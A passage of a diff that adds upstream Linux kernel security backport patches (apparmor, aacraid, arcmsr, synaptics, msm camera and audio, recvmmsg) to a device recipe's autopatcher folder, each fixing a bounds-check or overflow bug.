00:00:00 2001 +From: Vegard Nossum +Date: Thu, 7 Jul 2016 13:41:11 -0700 +Subject: apparmor: fix oops, validate buffer size in apparmor_setprocattr() + +When proc_pid_attr_write() was changed to use memdup_user apparmor's +(interface violating) assumption that the setprocattr buffer was always +a single page was violated. + +The size test is not strictly speaking needed as proc_pid_attr_write() +will reject anything larger, but for the sake of robustness we can keep +it in. + +SMACK and SELinux look safe to me, but somebody else should probably +have a look just in case. + +Based on original patch from Vegard Nossum +modified for the case that apparmor provides null termination. + +Fixes: bb646cdb12e75d82258c2f2e7746d5952d3e321a +Reported-by: Vegard Nossum +Cc: Al Viro +Cc: John Johansen +Cc: Paul Moore +Cc: Stephen Smalley +Cc: Eric Paris +Cc: Casey Schaufler +Cc: stable@kernel.org +Signed-off-by: John Johansen +Reviewed-by: Tyler Hicks +Signed-off-by: James Morris +--- + security/apparmor/lsm.c | 36 +++++++++++++++++++----------------- + 1 file changed, 19 insertions(+), 17 deletions(-) + +diff --git a/security/apparmor/lsm.c b/security/apparmor/lsm.c +index 2660fbcf94d1..7798e1608f4f 100644 +--- a/security/apparmor/lsm.c ++++ b/security/apparmor/lsm.c +@@ -500,34 +500,34 @@ static int apparmor_setprocattr(struct task_struct *task, char *name, + { + struct common_audit_data sa; + struct apparmor_audit_data aad = {0,}; +- char *command, *args = value; ++ char *command, *largs = NULL, *args = value; + size_t arg_size; + int error; + + if (size == 0) + return -EINVAL; +- /* args points to a PAGE_SIZE buffer, AppArmor requires that +- * the buffer must be null terminated or have size <= PAGE_SIZE -1 +- * so that AppArmor can null terminate them +- */ +- if (args[size - 1] != '\0') { +- if (size == PAGE_SIZE) +- return -EINVAL; +- args[size] = '\0'; +- } +- + /* task can only write its own attributes */ + if (current != task) + return -EACCES; + +- args = value; ++ /* AppArmor requires that the buffer must be null terminated atm */ ++ if (args[size - 1] != '\0') { ++ /* null terminate */ ++ largs = args = kmalloc(size + 1, GFP_KERNEL); ++ if (!args) ++ return -ENOMEM; ++ memcpy(args, value, size); ++ args[size] = '\0'; ++ } ++ ++ error = -EINVAL; + args = strim(args); + command = strsep(&args, " "); + if (!args) +- return -EINVAL; ++ goto out; + args = skip_spaces(args); + if (!*args) +- return -EINVAL; ++ goto out; + + arg_size = size - (args - (char *) value); + if (strcmp(name, "current") == 0) { +@@ -553,10 +553,12 @@ static int apparmor_setprocattr(struct task_struct *task, char *name, + goto fail; + } else + /* only support the "current" and "exec" process attributes */ +- return -EINVAL; ++ goto fail; + + if (!error) + error = size; ++out: ++ kfree(largs); + return error; + + fail: +@@ -565,9 +567,9 @@ fail: + aad.profile = aa_current_profile(); + aad.op = OP_SETPROCATTR; + aad.info = name; +- aad.error = -EINVAL; ++ aad.error = error = -EINVAL; + aa_audit_msg(AUDIT_APPARMOR_DENIED, &sa, NULL); +- return -EINVAL; ++ goto out; + } + + static int apparmor_task_setrlimit(struct task_struct *task, +-- +cgit 1.2-0.3.lf.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0137-9409e22acdfc-vfs rename check backing inode being equal.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0137-9409e22acdfc-vfs rename check backing inode being equal.patch new file mode 100644 index 0000000..6b20182 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0137-9409e22acdfc-vfs rename check backing inode being equal.patch @@ -0,0 +1,46 @@ +From 9409e22acdfc9153f88d9b1ed2bd2a5b34d2d3ca Mon Sep 17 00:00:00 2001 +From: Miklos Szeredi +Date: Wed, 11 May 2016 01:16:37 +0200 +Subject: vfs: rename: check backing inode being equal + +If a file is renamed to a hardlink of itself POSIX specifies that rename(2) +should do nothing and return success. + +This condition is checked in vfs_rename(). However it won't detect hard +links on overlayfs where these are given separate inodes on the overlayfs +layer. + +Overlayfs itself detects this condition and returns success without doing +anything, but then vfs_rename() will proceed as if this was a successful +rename (detach_mounts(), d_move()). + +The correct thing to do is to detect this condition before even calling +into overlayfs. This patch does this by calling vfs_select_inode() to get +the underlying inodes. + +Signed-off-by: Miklos Szeredi +Cc: # v4.2+ +--- + fs/namei.c | 6 +++++- + 1 file changed, 5 insertions(+), 1 deletion(-) + +diff --git a/fs/namei.c b/fs/namei.c +index 1d9ca2d5dff68..3ef87d673bbea 100644 +--- a/fs/namei.c ++++ b/fs/namei.c +@@ -4213,7 +4213,11 @@ int vfs_rename(struct inode *old_dir, struct dentry *old_dentry, + bool new_is_dir = false; + unsigned max_links = new_dir->i_sb->s_max_links; + +- if (source == target) ++ /* ++ * Check source == target. ++ * On overlayfs need to look at underlying inodes. ++ */ ++ if (vfs_select_inode(old_dentry, 0) == vfs_select_inode(new_dentry, 0)) + return 0; + + error = may_delete(old_dir, old_dentry, is_dir); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0138-88155b6f0560-IBsrpt Simplify srpthandletskmgmt.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0138-88155b6f0560-IBsrpt Simplify srpthandletskmgmt.patch new file mode 100644 index 0000000..cb5bf12 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0138-88155b6f0560-IBsrpt Simplify srpthandletskmgmt.patch @@ -0,0 +1,125 @@ +From 88155b6f0560f43d101cc415c70a17b09046e532 Mon Sep 17 00:00:00 2001 +From: Bart Van Assche +Date: Thu, 11 Feb 2016 11:03:09 -0800 +Subject: IB/srpt: Simplify srpt_handle_tsk_mgmt() + +[ Upstream commit 51093254bf879bc9ce96590400a87897c7498463 ] + +Let the target core check task existence instead of the SRP target +driver. Additionally, let the target core check the validity of the +task management request instead of the ib_srpt driver. + +This patch fixes the following kernel crash: + +BUG: unable to handle kernel NULL pointer dereference at 0000000000000001 +IP: [] srpt_handle_new_iu+0x6d7/0x790 [ib_srpt] +Oops: 0002 [#1] SMP +Call Trace: + [] srpt_process_completion+0xde/0x570 [ib_srpt] + [] srpt_compl_thread+0x13f/0x160 [ib_srpt] + [] kthread+0xcf/0xe0 + [] ret_from_fork+0x7c/0xb0 + +Signed-off-by: Bart Van Assche +Fixes: 3e4f574857ee ("ib_srpt: Convert TMR path to target_submit_tmr") +Tested-by: Alex Estrin +Reviewed-by: Christoph Hellwig +Cc: Nicholas Bellinger +Cc: Sagi Grimberg +Cc: stable +Signed-off-by: Doug Ledford +Signed-off-by: Sasha Levin +--- + drivers/infiniband/ulp/srpt/ib_srpt.c | 59 +---------------------------------- + 1 file changed, 1 insertion(+), 58 deletions(-) + +diff --git a/drivers/infiniband/ulp/srpt/ib_srpt.c b/drivers/infiniband/ulp/srpt/ib_srpt.c +index ad4af66a4cbb2..9fc0326c1da7d 100644 +--- a/drivers/infiniband/ulp/srpt/ib_srpt.c ++++ b/drivers/infiniband/ulp/srpt/ib_srpt.c +@@ -1745,47 +1745,6 @@ send_sense: + return -1; + } + +-/** +- * srpt_rx_mgmt_fn_tag() - Process a task management function by tag. +- * @ch: RDMA channel of the task management request. +- * @fn: Task management function to perform. +- * @req_tag: Tag of the SRP task management request. +- * @mgmt_ioctx: I/O context of the task management request. +- * +- * Returns zero if the target core will process the task management +- * request asynchronously. +- * +- * Note: It is assumed that the initiator serializes tag-based task management +- * requests. +- */ +-static int srpt_rx_mgmt_fn_tag(struct srpt_send_ioctx *ioctx, u64 tag) +-{ +- struct srpt_device *sdev; +- struct srpt_rdma_ch *ch; +- struct srpt_send_ioctx *target; +- int ret, i; +- +- ret = -EINVAL; +- ch = ioctx->ch; +- BUG_ON(!ch); +- BUG_ON(!ch->sport); +- sdev = ch->sport->sdev; +- BUG_ON(!sdev); +- spin_lock_irq(&sdev->spinlock); +- for (i = 0; i < ch->rq_size; ++i) { +- target = ch->ioctx_ring[i]; +- if (target->cmd.se_lun == ioctx->cmd.se_lun && +- target->tag == tag && +- srpt_get_cmd_state(target) != SRPT_STATE_DONE) { +- ret = 0; +- /* now let the target core abort &target->cmd; */ +- break; +- } +- } +- spin_unlock_irq(&sdev->spinlock); +- return ret; +-} +- + static int srp_tmr_to_tcm(int fn) + { + switch (fn) { +@@ -1820,7 +1779,6 @@ static void srpt_handle_tsk_mgmt(struct srpt_rdma_ch *ch, + struct se_cmd *cmd; + struct se_session *sess = ch->sess; + uint64_t unpacked_lun; +- uint32_t tag = 0; + int tcm_tmr; + int rc; + +@@ -1836,25 +1794,10 @@ static void srpt_handle_tsk_mgmt(struct srpt_rdma_ch *ch, + srpt_set_cmd_state(send_ioctx, SRPT_STATE_MGMT); + send_ioctx->tag = srp_tsk->tag; + tcm_tmr = srp_tmr_to_tcm(srp_tsk->tsk_mgmt_func); +- if (tcm_tmr < 0) { +- send_ioctx->cmd.se_tmr_req->response = +- TMR_TASK_MGMT_FUNCTION_NOT_SUPPORTED; +- goto fail; +- } + unpacked_lun = srpt_unpack_lun((uint8_t *)&srp_tsk->lun, + sizeof(srp_tsk->lun)); +- +- if (srp_tsk->tsk_mgmt_func == SRP_TSK_ABORT_TASK) { +- rc = srpt_rx_mgmt_fn_tag(send_ioctx, srp_tsk->task_tag); +- if (rc < 0) { +- send_ioctx->cmd.se_tmr_req->response = +- TMR_TASK_DOES_NOT_EXIST; +- goto fail; +- } +- tag = srp_tsk->task_tag; +- } + rc = target_submit_tmr(&send_ioctx->cmd, sess, NULL, unpacked_lun, +- srp_tsk, tcm_tmr, GFP_KERNEL, tag, ++ srp_tsk, tcm_tmr, GFP_KERNEL, srp_tsk->task_tag, + TARGET_SCF_ACK_KREF); + if (rc != 0) { + send_ioctx->cmd.se_tmr_req->response = TMR_FUNCTION_REJECTED; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0139-30c2bbd8a7b7-aacraid Check size values after doublefetch from user.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0139-30c2bbd8a7b7-aacraid Check size values after doublefetch from user.patch new file mode 100644 index 0000000..253f855 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0139-30c2bbd8a7b7-aacraid Check size values after doublefetch from user.patch @@ -0,0 +1,68 @@ +From 30c2bbd8a7b7ff3b6849d6ce1a69d4db9e40183b Mon Sep 17 00:00:00 2001 +From: Dave Carroll +Date: Fri, 5 Aug 2016 13:44:10 -0600 +Subject: aacraid: Check size values after double-fetch from user + +[ Upstream commit fa00c437eef8dc2e7b25f8cd868cfa405fcc2bb3 ] + +In aacraid's ioctl_send_fib() we do two fetches from userspace, one the +get the fib header's size and one for the fib itself. Later we use the +size field from the second fetch to further process the fib. If for some +reason the size from the second fetch is different than from the first +fix, we may encounter an out-of- bounds access in aac_fib_send(). We +also check the sender size to insure it is not out of bounds. This was +reported in https://bugzilla.kernel.org/show_bug.cgi?id=116751 and was +assigned CVE-2016-6480. + +Reported-by: Pengfei Wang +Fixes: 7c00ffa31 '[SCSI] 2.6 aacraid: Variable FIB size (updated patch)' +Cc: stable@vger.kernel.org +Signed-off-by: Dave Carroll +Reviewed-by: Johannes Thumshirn +Signed-off-by: Martin K. Petersen +Signed-off-by: Sasha Levin +--- + drivers/scsi/aacraid/commctrl.c | 13 +++++++++++-- + 1 file changed, 11 insertions(+), 2 deletions(-) + +diff --git a/drivers/scsi/aacraid/commctrl.c b/drivers/scsi/aacraid/commctrl.c +index fbcd48d0bfc3..16b2db3cd9f1 100644 +--- a/drivers/scsi/aacraid/commctrl.c ++++ b/drivers/scsi/aacraid/commctrl.c +@@ -63,7 +63,7 @@ static int ioctl_send_fib(struct aac_dev * dev, void __user *arg) + struct fib *fibptr; + struct hw_fib * hw_fib = (struct hw_fib *)0; + dma_addr_t hw_fib_pa = (dma_addr_t)0LL; +- unsigned size; ++ unsigned int size, osize; + int retval; + + if (dev->in_reset) { +@@ -87,7 +87,8 @@ static int ioctl_send_fib(struct aac_dev * dev, void __user *arg) + * will not overrun the buffer when we copy the memory. Return + * an error if we would. + */ +- size = le16_to_cpu(kfib->header.Size) + sizeof(struct aac_fibhdr); ++ osize = size = le16_to_cpu(kfib->header.Size) + ++ sizeof(struct aac_fibhdr); + if (size < le16_to_cpu(kfib->header.SenderSize)) + size = le16_to_cpu(kfib->header.SenderSize); + if (size > dev->max_fib_size) { +@@ -118,6 +119,14 @@ static int ioctl_send_fib(struct aac_dev * dev, void __user *arg) + goto cleanup; + } + ++ /* Sanity check the second copy */ ++ if ((osize != le16_to_cpu(kfib->header.Size) + ++ sizeof(struct aac_fibhdr)) ++ || (size < le16_to_cpu(kfib->header.SenderSize))) { ++ retval = -EINVAL; ++ goto cleanup; ++ } ++ + if (kfib->header.Command == cpu_to_le16(TakeABreakPt)) { + aac_adapter_interrupt(dev); + /* +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0140-d8649432b96b-PATCH input synaptics allocate heap memory for buffer.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0140-d8649432b96b-PATCH input synaptics allocate heap memory for buffer.patch new file mode 100644 index 0000000..e5f0b7a --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0140-d8649432b96b-PATCH input synaptics allocate heap memory for buffer.patch @@ -0,0 +1,65 @@ +From d8649432b96bd361de20168372c10269e88e1258 Mon Sep 17 00:00:00 2001 +From: Min Chong +Date: Wed, 17 Aug 2016 23:50:14 -0700 +Subject: [PATCH] input: synaptics: allocate heap memory for buffer + +Allocate buffer memory on the heap instead of the stack +to avoid a potential stack overflow in the write function. + +Bug: 30537088 +Change-Id: Ibe54ac391ade69e4c0c87bf5332c8bcae730e94c +Signed-off-by: Ivan Lozano +--- + .../input/touchscreen/synaptics_i2c_rmi4.c | 25 ++++++++++++------- + 1 file changed, 16 insertions(+), 9 deletions(-) + +diff --git a/drivers/input/touchscreen/synaptics_i2c_rmi4.c b/drivers/input/touchscreen/synaptics_i2c_rmi4.c +index eade21de3e15d..ecfbe6a3f9a23 100644 +--- a/drivers/input/touchscreen/synaptics_i2c_rmi4.c ++++ b/drivers/input/touchscreen/synaptics_i2c_rmi4.c +@@ -1214,15 +1214,16 @@ static int synaptics_rmi4_i2c_write(struct synaptics_rmi4_data *rmi4_data, + { + int retval; + unsigned char retry; +- unsigned char buf[length + 1]; +- struct i2c_msg msg[] = { +- { +- .addr = rmi4_data->i2c_client->addr, +- .flags = 0, +- .len = length + 1, +- .buf = buf, +- } +- }; ++ unsigned char *buf; ++ struct i2c_msg msg[1]; ++ ++ buf = kzalloc(length + 1, GFP_KERNEL); ++ if (!buf) { ++ dev_err(&rmi4_data->i2c_client->dev, ++ "%s: Failed to alloc mem for buffer\n", ++ __func__); ++ return -ENOMEM; ++ } + + mutex_lock(&(rmi4_data->rmi4_io_ctrl_mutex)); + +@@ -1230,6 +1231,11 @@ static int synaptics_rmi4_i2c_write(struct synaptics_rmi4_data *rmi4_data, + if (retval != PAGE_SELECT_LEN) + goto exit; + ++ msg[0].addr = rmi4_data->i2c_client->addr; ++ msg[0].flags = 0; ++ msg[0].len = length + 1; ++ msg[0].buf = buf; ++ + buf[0] = addr & MASK_8BIT; + memcpy(&buf[1], &data[0], length); + +@@ -1253,6 +1259,7 @@ static int synaptics_rmi4_i2c_write(struct synaptics_rmi4_data *rmi4_data, + + exit: + mutex_unlock(&(rmi4_data->rmi4_io_ctrl_mutex)); ++ kfree(buf); + + return retval; + } diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0141-ac328eb631fa-ASoC msm qdsp6v2 DAP Add check to validate data length.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0141-ac328eb631fa-ASoC msm qdsp6v2 DAP Add check to validate data length.patch new file mode 100644 index 0000000..865d8d7 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0141-ac328eb631fa-ASoC msm qdsp6v2 DAP Add check to validate data length.patch @@ -0,0 +1,37 @@ +From ac328eb631fa74a63d5d2583e6bfeeb5a7a2df65 Mon Sep 17 00:00:00 2001 +From: Ashish Jain +Date: Mon, 20 Jun 2016 18:09:07 +0530 +Subject: ASoC: msm: qdsp6v2: DAP: Add check to validate data length + +Validate input data length to ensure only relevant data +is copied. + +CRs-Fixed: 1027585 +Change-Id: I67eb4f162f944bbf4d9e55fb8fe93759e6b8ff91 +Signed-off-by: Ashish Jain +--- + sound/soc/msm/qdsp6v2/msm-ds2-dap-config.c | 8 ++++++++ + 1 file changed, 8 insertions(+) + +diff --git a/sound/soc/msm/qdsp6v2/msm-ds2-dap-config.c b/sound/soc/msm/qdsp6v2/msm-ds2-dap-config.c +index fea7bb4..379062e 100644 +--- a/sound/soc/msm/qdsp6v2/msm-ds2-dap-config.c ++++ b/sound/soc/msm/qdsp6v2/msm-ds2-dap-config.c +@@ -1522,6 +1522,14 @@ static int msm_ds2_dap_get_param(u32 cmd, void *arg) + goto end; + } + ++ /* Return if invalid length */ ++ if (dolby_data->length > ++ (DOLBY_MAX_LENGTH_INDIVIDUAL_PARAM - DOLBY_PARAM_PAYLOAD_SIZE)) { ++ pr_err("Invalid length %d", dolby_data->length); ++ rc = -EINVAL; ++ goto end; ++ } ++ + for (i = 0; i < DS2_DEVICES_ALL; i++) { + if ((dev_map[i].active) && + (dev_map[i].device_id & dolby_data->device_id)) { +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0142-c3c9341bfdf9-ASoC msm qdsp6v2 DAP Update check to validate data length.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0142-c3c9341bfdf9-ASoC msm qdsp6v2 DAP Update check to validate data length.patch new file mode 100644 index 0000000..8746391 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0142-c3c9341bfdf9-ASoC msm qdsp6v2 DAP Update check to validate data length.patch @@ -0,0 +1,35 @@ +From c3c9341bfdf93606983f893a086cb33a487306e5 Mon Sep 17 00:00:00 2001 +From: Ashish Jain +Date: Mon, 18 Jul 2016 16:07:42 +0530 +Subject: ASoC: msm: qdsp6v2: DAP: Update check to validate data length + +A big negative data length value can bypass the current check, +update the condition to ensure that only valid data length is used +to copy the params. + +CRs-Fixed: 1041130 +Change-Id: I6e1a58e901e4c042acfb0ab0a6223dec2949aefe +Signed-off-by: Ashish Jain +--- + sound/soc/msm/qdsp6v2/msm-ds2-dap-config.c | 5 +++-- + 1 file changed, 3 insertions(+), 2 deletions(-) + +diff --git a/sound/soc/msm/qdsp6v2/msm-ds2-dap-config.c b/sound/soc/msm/qdsp6v2/msm-ds2-dap-config.c +index 48180cf..ad2f2e9 100644 +--- a/sound/soc/msm/qdsp6v2/msm-ds2-dap-config.c ++++ b/sound/soc/msm/qdsp6v2/msm-ds2-dap-config.c +@@ -1523,8 +1523,9 @@ static int msm_ds2_dap_get_param(u32 cmd, void *arg) + } + + /* Return if invalid length */ +- if (dolby_data->length > +- (DOLBY_MAX_LENGTH_INDIVIDUAL_PARAM - DOLBY_PARAM_PAYLOAD_SIZE)) { ++ if ((dolby_data->length > ++ (DOLBY_MAX_LENGTH_INDIVIDUAL_PARAM - DOLBY_PARAM_PAYLOAD_SIZE)) || ++ (dolby_data->length <= 0)) { + pr_err("Invalid length %d", dolby_data->length); + rc = -EINVAL; + goto end; +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0143-0b5240c45e20-net socket fix recvmmsg not returning error from sockerror.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0143-0b5240c45e20-net socket fix recvmmsg not returning error from sockerror.patch new file mode 100644 index 0000000..4fbcd4a --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0143-0b5240c45e20-net socket fix recvmmsg not returning error from sockerror.patch @@ -0,0 +1,49 @@ +From 0b5240c45e2029986526b1405ab24906c708f770 Mon Sep 17 00:00:00 2001 +From: Maxime Jayat +Date: Tue, 21 Feb 2017 18:35:51 +0100 +Subject: net: socket: fix recvmmsg not returning error from sock_error + +commit e623a9e9dec29ae811d11f83d0074ba254aba374 upstream. + +Commit 34b88a68f26a ("net: Fix use after free in the recvmmsg exit path"), +changed the exit path of recvmmsg to always return the datagrams +variable and modified the error paths to set the variable to the error +code returned by recvmsg if necessary. + +However in the case sock_error returned an error, the error code was +then ignored, and recvmmsg returned 0. + +Change the error path of recvmmsg to correctly return the error code +of sock_error. + +The bug was triggered by using recvmmsg on a CAN interface which was +not up. Linux 4.6 and later return 0 in this case while earlier +releases returned -ENETDOWN. + +Fixes: 34b88a68f26a ("net: Fix use after free in the recvmmsg exit path") +Signed-off-by: Maxime Jayat +Signed-off-by: David S. Miller +Signed-off-by: Willy Tarreau +--- + net/socket.c | 4 +++- + 1 file changed, 3 insertions(+), 1 deletion(-) + +diff --git a/net/socket.c b/net/socket.c +index e91e8ed1b8df..773ba3abb10b 100644 +--- a/net/socket.c ++++ b/net/socket.c +@@ -2326,8 +2326,10 @@ int __sys_recvmmsg(int fd, struct mmsghdr __user *mmsg, unsigned int vlen, + return err; + + err = sock_error(sock->sk); +- if (err) ++ if (err) { ++ datagrams = err; + goto out_put; ++ } + + entry = mmsg; + compat_entry = (struct compat_mmsghdr __user *)mmsg; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0144-6371e0cdc5be-scsi arcmsr Buffer overflow in arcmsriopmessagexfer.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0144-6371e0cdc5be-scsi arcmsr Buffer overflow in arcmsriopmessagexfer.patch new file mode 100644 index 0000000..50328bb --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0144-6371e0cdc5be-scsi arcmsr Buffer overflow in arcmsriopmessagexfer.patch @@ -0,0 +1,49 @@ +From 6371e0cdc5be8671461f136dc1df9a36bdb5292a Mon Sep 17 00:00:00 2001 +From: Dan Carpenter +Date: Wed, 14 Dec 2016 13:24:52 +0100 +Subject: scsi: arcmsr: Buffer overflow in arcmsr_iop_message_xfer() + +[ Upstream commit 7bc2b55a5c030685b399bb65b6baa9ccc3d1f167 ] + +We need to put an upper bound on "user_len" so the memcpy() doesn't +overflow. + +Cc: +Reported-by: Marco Grassi +Signed-off-by: Dan Carpenter +Reviewed-by: Tomas Henzl +Signed-off-by: Martin K. Petersen +Signed-off-by: Sasha Levin +--- + drivers/scsi/arcmsr/arcmsr_hba.c | 8 +++++++- + 1 file changed, 7 insertions(+), 1 deletion(-) + +diff --git a/drivers/scsi/arcmsr/arcmsr_hba.c b/drivers/scsi/arcmsr/arcmsr_hba.c +index 7bded8e3f116..ce6b16991068 100644 +--- a/drivers/scsi/arcmsr/arcmsr_hba.c ++++ b/drivers/scsi/arcmsr/arcmsr_hba.c +@@ -2305,7 +2305,8 @@ static int arcmsr_iop_message_xfer(struct AdapterControlBlock *acb, + } + case ARCMSR_MESSAGE_WRITE_WQBUFFER: { + unsigned char *ver_addr; +- int32_t user_len, cnt2end; ++ uint32_t user_len; ++ int32_t cnt2end; + uint8_t *pQbuffer, *ptmpuserbuffer; + ver_addr = kmalloc(ARCMSR_API_DATA_BUFLEN, GFP_ATOMIC); + if (!ver_addr) { +@@ -2314,6 +2315,11 @@ static int arcmsr_iop_message_xfer(struct AdapterControlBlock *acb, + } + ptmpuserbuffer = ver_addr; + user_len = pcmdmessagefld->cmdmessage.Length; ++ if (user_len > ARCMSR_API_DATA_BUFLEN) { ++ retvalue = ARCMSR_MESSAGE_FAIL; ++ kfree(ver_addr); ++ goto message_out; ++ } + memcpy(ptmpuserbuffer, + pcmdmessagefld->messagedatabuffer, user_len); + spin_lock_irqsave(&acb->wqbuffer_lock, flags); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0145-4b9ae9048d63-PATCH input synapticsdsx add checks of user input data for image.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0145-4b9ae9048d63-PATCH input synapticsdsx add checks of user input data for image.patch new file mode 100644 index 0000000..95244d7 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0145-4b9ae9048d63-PATCH input synapticsdsx add checks of user input data for image.patch @@ -0,0 +1,32 @@ +From 4b9ae9048d63ef9fe9f8cc9d0e33cc38148b268d Mon Sep 17 00:00:00 2001 +From: Ariel Yin +Date: Wed, 12 Oct 2016 14:02:14 -0700 +Subject: [PATCH] input: synaptics_dsx: add checks of user input data for image + name + +Add checks of the user input count to avoid possible heap overflow + +Signed-off-by: Min Chong +Change-Id: I1d50a103a0abcbff5eb6bf204607170e9278dec3 +Bug: 31913197 +--- + drivers/input/touchscreen/synaptics_dsx/synaptics_dsx_fw_update.c | 6 ++++++ + 1 file changed, 6 insertions(+) + +diff --git a/drivers/input/touchscreen/synaptics_dsx/synaptics_dsx_fw_update.c b/drivers/input/touchscreen/synaptics_dsx/synaptics_dsx_fw_update.c +index 282e06d9aabaa..1f7409efb1565 100644 +--- a/drivers/input/touchscreen/synaptics_dsx/synaptics_dsx_fw_update.c ++++ b/drivers/input/touchscreen/synaptics_dsx/synaptics_dsx_fw_update.c +@@ -1767,6 +1767,12 @@ static ssize_t fwu_sysfs_image_name_store(struct device *dev, + struct device_attribute *attr, const char *buf, size_t count) + { + ssize_t retval; ++ if (!buf || count > MAX_IMAGE_NAME_LEN) { ++ dev_err(fwu->rmi4_data->pdev->dev.parent, ++ "%s: Failed to copy image file name\n", ++ __func__); ++ return -EINVAL; ++ } + + if (!mutex_trylock(&dsx_fwu_sysfs_mutex)) + return -EBUSY; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0146-bc77232707df-msm cpp Fix for buffer overflow in cpp.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0146-bc77232707df-msm cpp Fix for buffer overflow in cpp.patch new file mode 100644 index 0000000..9088b76 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0146-bc77232707df-msm cpp Fix for buffer overflow in cpp.patch @@ -0,0 +1,33 @@ +From bc77232707df371ff6bab9350ae39676535c0e9d Mon Sep 17 00:00:00 2001 +From: Krishnankutty Kolathappilly +Date: Wed, 16 Nov 2016 18:22:58 -0800 +Subject: msm: cpp: Fix for buffer overflow in cpp. + +Fix for buffer overflow while handling ioctl. +Instead of checking for length boundary, fix checks +for exact length. + +CRs-Fixed: 518731 +Change-Id: I9002f84b219e8b06ae0672d87c2d999e728a75aa +Signed-off-by: Krishnankutty Kolathappilly +--- + drivers/media/platform/msm/camera_v2/pproc/cpp/msm_cpp.c | 3 +-- + 1 file changed, 1 insertion(+), 2 deletions(-) + +diff --git a/drivers/media/platform/msm/camera_v2/pproc/cpp/msm_cpp.c b/drivers/media/platform/msm/camera_v2/pproc/cpp/msm_cpp.c +index 022dd6b..0792380 100644 +--- a/drivers/media/platform/msm/camera_v2/pproc/cpp/msm_cpp.c ++++ b/drivers/media/platform/msm/camera_v2/pproc/cpp/msm_cpp.c +@@ -2070,8 +2070,7 @@ long msm_cpp_subdev_ioctl(struct v4l2_subdev *sd, + uint32_t identity; + struct msm_cpp_buff_queue_info_t *buff_queue_info; + CPP_DBG("VIDIOC_MSM_CPP_DEQUEUE_STREAM_BUFF_INFO\n"); +- if ((ioctl_ptr->len == 0) || +- (ioctl_ptr->len > sizeof(uint32_t))) { ++ if (ioctl_ptr->len != sizeof(uint32_t)) { + mutex_unlock(&cpp_dev->mutex); + return -EINVAL; + } +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0147-f10373b0d1e8-msm camera ispif Add missing mutex usage in ioctl.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0147-f10373b0d1e8-msm camera ispif Add missing mutex usage in ioctl.patch new file mode 100644 index 0000000..71b9d13 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0147-f10373b0d1e8-msm camera ispif Add missing mutex usage in ioctl.patch @@ -0,0 +1,35 @@ +From f10373b0d1e8ebd0bf4abafbba85c4b1cfa9e0c1 Mon Sep 17 00:00:00 2001 +From: VijayaKumar T M +Date: Fri, 4 Nov 2016 17:05:50 +0530 +Subject: msm: camera: ispif: Add missing mutex usage in ioctl + +Mutex usage is added into the ispif ioctl path to ensure +these paths are thread safe. + +CRs-Fixed: 1074310 +Change-Id: Id718f83484bc4acf98ade0205328aad6ee306270 +Signed-off-by: VijayaKumar T M +--- + drivers/media/platform/msm/camera_v2/ispif/msm_ispif.c | 5 ++++- + 1 file changed, 4 insertions(+), 1 deletion(-) + +diff --git a/drivers/media/platform/msm/camera_v2/ispif/msm_ispif.c b/drivers/media/platform/msm/camera_v2/ispif/msm_ispif.c +index 64e2bc2..4e07d4d 100644 +--- a/drivers/media/platform/msm/camera_v2/ispif/msm_ispif.c ++++ b/drivers/media/platform/msm/camera_v2/ispif/msm_ispif.c +@@ -1315,8 +1315,11 @@ static long msm_ispif_subdev_ioctl(struct v4l2_subdev *sd, + case MSM_SD_SHUTDOWN: { + struct ispif_device *ispif = + (struct ispif_device *)v4l2_get_subdevdata(sd); +- if (ispif && ispif->base) ++ if (ispif && ispif->base) { ++ mutex_lock(&ispif->mutex); + msm_ispif_release(ispif); ++ mutex_unlock(&ispif->mutex); ++ } + return 0; + } + default: +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0148-0d37d64f02e1-PATCH Android binder check setcontextmgr permission on time.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0148-0d37d64f02e1-PATCH Android binder check setcontextmgr permission on time.patch new file mode 100644 index 0000000..97434d6 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0148-0d37d64f02e1-PATCH Android binder check setcontextmgr permission on time.patch @@ -0,0 +1,36 @@ +From 0d37d64f02e18a301867ae7684c3801bd99c5df2 Mon Sep 17 00:00:00 2001 +From: Martijn Coenen +Date: Tue, 8 Nov 2016 20:12:16 